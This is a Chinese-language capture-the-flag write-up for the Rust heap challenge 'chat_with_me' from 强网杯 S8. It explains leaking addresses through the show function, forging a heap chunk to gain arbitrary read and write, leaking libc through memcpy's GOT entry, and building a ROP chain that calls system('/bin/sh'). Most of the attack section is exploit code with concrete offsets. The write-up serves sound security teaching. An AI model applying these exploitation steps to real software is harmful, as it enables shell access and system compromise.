从rust堆看堆块伪造
字数 1264 2025-08-20 18:17:53
Rust堆利用:堆块伪造技术详解
1. 题目背景分析
本教学文档基于强网杯S8的chat_with_me题目,这是一个Rust编写的堆利用题目,具有以下特点:
- 表面上是传统的菜单堆题目,但实际堆操作与常规菜单堆不同
- 程序使用Rust编写,静态分析难度大,函数包装复杂
- 关键漏洞:通过show功能可以泄露栈上的敏感数据
- 最终目标:通过堆块伪造技术实现任意地址读写,最终getshell
2. 关键功能分析
2.1 程序功能结构
程序提供四个基本功能:
- add() - 添加数据
- show(idx) - 显示指定索引的数据
- edit(idx, cont) - 编辑指定索引的数据
- delete(idx) - 删除指定索引的数据
2.2 内存布局特点
- 堆结构:
heapaddr存储的是栈地址,show操作通过解引用*(heapaddr)来访问和泄露数据 - 缓冲区:edit操作会将数据写入栈上后,同时复制到一个0x2010大小的堆块缓冲区
- 指针存储:多次add后会分配0x50大小的堆块,这些堆块存储着各索引(0,1,2...)对应的栈地址指针
3. 漏洞利用路径
3.1 信息泄露阶段
-
泄露PIE基址:
- 通过show功能泄露栈上数据
- 从泄露数据中提取PIE相关地址计算基址
-
泄露栈地址:
- 从泄露数据中提取栈指针
- 为后续ROP链构造做准备
-
泄露堆基址:
- 从泄露数据中提取堆指针
- 计算堆基址用于伪造堆块
3.2 堆块伪造技术
关键思路
控制0x50大小堆块中存储的指针,实现任意地址读写:
- 通过edit操作控制0x2010大小的缓冲区
- 释放该缓冲区到unsorted bin
- 多次add重新申请0x50堆块,这些堆块将从被释放的缓冲区中分配
- 通过edit覆盖这些堆块中的指针
伪造条件
伪造堆块需要满足两个关键条件:
- 被free堆块的size的inuse位=1(防止与前一个堆块合并)
- 通过size找到的next_chunk的inuse位=1(避免double free错误)
具体操作
# 伪造堆块头,使其能够被成功释放
edit(0, b"a"*0x20 + p64(heapbase+0xaa0+0x30) + p64(0x1fe1))
3.3 利用过程
-
分配控制堆块:
for i in range(0x4): add() -
覆盖关键指针:
- 将索引0的指针覆盖为栈地址(stack-0x50)
- 将索引1的指针覆盖为memcpy的GOT表地址
memcpy_got = pie + 0x61DF8 edit(0, b"\x00"*0x30 + p64(stack-0x50) + p64(memcpy_got)) -
泄露libc基址:
show(1) # 处理泄露数据获取libc基址 -
构造ROP链:
pop_rdi = libcbase + 0x000000000010f75b system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b"/bin/sh")) ret = libcbase + 0x2882f payload = p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) edit(0, payload)
4. Rust堆利用特点
- 动态分析为主:Rust代码静态分析困难,需依赖动态调试
- 堆管理差异:Rust使用自己的堆管理机制,与glibc有所不同
- 安全机制:Rust内置更多安全检查,需要找到绕过方法
- 函数包装复杂:大量函数包装增加了逆向难度
5. 完整EXP关键点
# 信息泄露
add()
show(0)
# 处理泄露数据获取pie, stack, heapbase
# 堆块伪造
edit(0, b"a"*0x20 + p64(heapbase+0xaa0+0x30) + p64(0x1fe1))
# 重新分配控制堆块
for i in range(0x4):
add()
# 覆盖指针实现任意读写
memcpy_got = pie + 0x61DF8
edit(0, b"\x00"*0x30 + p64(stack-0x50) + p64(memcpy_got))
# 泄露libc
show(1)
# 计算libcbase
# 构造ROP链getshell
pop_rdi = libcbase + 0x000000000010f75b
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b"/bin/sh"))
ret = libcbase + 0x2882f
payload = p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
edit(0, payload)
6. 总结与思考
- Rust Pwn特点:需要更多依赖动态分析而非静态分析
- 关键突破点:找到信息泄露途径和可控的内存区域
- 利用链构造:结合堆操作特性和程序功能设计利用链
- 适应性调整:不同环境可能需要调整堆布局参数
通过本案例可以学习到Rust环境下堆利用的特殊技巧,特别是如何利用堆块伪造技术实现从信息泄露到最终getshell的完整过程。